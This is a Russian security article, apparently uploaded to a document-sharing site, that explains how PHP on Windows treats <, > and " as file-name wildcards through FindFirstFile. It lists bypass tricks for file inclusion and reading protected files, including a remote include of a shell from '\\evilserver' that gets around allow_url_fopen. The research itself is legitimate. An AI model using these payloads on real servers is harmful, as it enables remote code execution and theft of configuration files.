Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Новые уязвимости доступа к файлам в PHP.docx
Скачиваний:
4
Добавлен:
08.07.2019
Размер:
108.52 Кб
Скачать

Великий и могучий winapi

Как мне быстро стало понятно, фаззингом природу этой ошибки не поймешь. Оставалось два варианта: смотреть сорцы или трассировать вызовы. Оба эти метода довольно быстро указали на одно и то же — вызов функции FindFirstFile. При этом в стеке вызов проходил уже с заменой символа > на ?, а < на *, двойная кавычка же заменялась на точку. Также очень весело было замечать, что, несмотря на замену, < не всегда работала как * в маске файла, а вот << всегда хорошо отрабатывала. При этом в стеке оба вызова были совершенно одинаковые, но давали разный результат (см. рисунок). Теперь стало полностью ясно, откуда растут ноги. И ноги действительно росли из Ж под именем MS.

Польза msdn

Теперь оставалось понять, является ли такое поведение функции FindFirstFile нормальным, или же здесь имеет место баг. Искать ответ на этот вопрос я начал с документации: msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx. В самой документации ничего не говорилось насчет символов > < ", зато вот в комментариях…

Bug?! The characters of '<' and '>' are treated like wildcard by this function. [MSFT] — these are listed in the Naming A File topic as illegal characters in path and file names. That topic is being updated to make this clearer. History 10/19/2007 xMartian  5/2/2008 Mark Amos — MSFT

То есть об этом баге было известно еще в 2007 году! А ответ производителя вообще потрясал своим содержанием… Без комментариев :). На этом, вроде бы, стала окончательно ясна причина такого поведения PHP. Можно было приступать к расширению области применения данного бага. Перепробовав различные варианты, перечитав кучу документации (MSDN и правда очень полезен) и опробовав сотни идей, я выявил ряд правил, которые работают для файловых имен в WIN-системах. Причем баг в FindFirstFile способствует только первым четырем из них (нулевой пункт не считаем). Также, забегая вперед, скажу, что уязвимость касается не только функции file_get_contents:

  1. Символы * и? не работают в именах файлов при вызове FindFirstFile через PHP (фильтруются).

  2. Символ < заменяется при вызове FindFirstFile на *, то есть маску любого количества любых символов. При этом были найдены случаи, когда это работает некорректно (см. картинку). Для гарантированной маски * следует использовать <<.  Пример: include('shell<') подключит файл shell*, причем если под маску попадет более одного файла, то подключится тот, который идет раньше по алфавиту.

  3. Символ > заменяется при вызове FindFirstFile на ?, то есть один любой символ. Пример: include('shell.p>p') подключит файл shell.p?p, причем если под маску попадет более одного файла, то подключится тот, который идет раньше по алфавиту.

  4. Символ " заменяется при вызове FindFirstFile на точку.  Пример: include('shell«php') эквивалентно include('shell.php').

  5. Если первый символ в имени файла точка, то прочитать файл можно по имени без учета этой точки. Пример: fopen(»htaccess") эквивалентно fopen(".htaccess"), а более навороченно, с использованием п.1,fopen(«h<<»). Так как в имени файла вторая буква «а», то по алфавиту он, скорее всего, будет первым.

  6. В конце имен файлов можно использовать последовательности из слэшей одного или разного вида (прямой и обратный), между которыми можно ставить одну точку, причем в конце всегда должна стоять точка, и не ", а настоящая.  Пример: fopen("")

  7. Можно использовать сетевые имена, начинающиеся с \\, за которыми идет любой символ, кроме точки. Это очевидно и было известно всем давно. Дополню лишь, что если сетевое имя не существует, то на операцию с файлом уходят лишние 4 секунды, что способствует истечению времени и ошибке max_execution_time (смотри статью «Гюльчатай, открой личико»). Также это позволяет обходить allow_url_fopen=Off и делать RFI. Пример: include('\\evilserver\shell.php')

  8. Можно использовать расширенные имена, начинающиеся с \\.\, что дает возможность переключаться между дисками в имени файла. Пример: include('\\.\C:\my\file.php\..\..\..\D:\anotherfile.php').

  9. Можно использовать альтернативный синтаксис имени диска для обхода фильтрации слэшей. Пример: file_get_contents('C:boot.ini') эквивалентно file_get_contents('C:/boot.ini')

  10. Можно использовать короткие DOS-совместимые имена файлов и директорий. Это боян, не спорю. Но обращаю твое внимание, что если в директории находится более четырех файлов, имена которых короче трех символов, то такие имена будут дополнены четырьмя хекс-символами. Аналогично будет изменено имя файла, если в директории находятся более четырех файлов, чьи имена начинаются с тех же двух первых букв. Цитата:

Specifically, if more than four files use the same six-character root, additional file names are created by combining the first two characters of the file name with a four-character hash code and then appending a unique designator. A directory could have files named MYFAVO~1.DOC, MYFAVO~2.DOC, MYFAVO~3.DOC, and MYFAVO~4.DOC. Additional files with this root could be named MY3140~1.DOC, MY40C7~1.DOC, and MYEACC~1.DOC.

Пример: in.conf имеет DOS имя IND763~1.CON, то есть его можно прочитать строчкой file_get_contents('<<D763<<'), в которой вообще не содержится ни байта из настоящего имени файла! Как считаются эти четыре хекс-символа нигде не сказано, но они, кажется, зависят только от имени файла.

  1. В PHP под окружением командной строки (не mod_php, а php.exe) работает специфика файлов с зарезервированными именами aux, con, prn, com1-9, lpt1-9.  Пример: file_get_contents('C:/tmp/con.jpg') будет бесконечно читать из устройства CON нуль-байты, ожидая EOF. Пример: file_put_contents('C:/tmp/con.jpg',chr(0x07)) пискнет динамиком сервера (музыка :)).

Советую вырезать все пункты и повесить в рамочку на видное место. Лишним не будет :).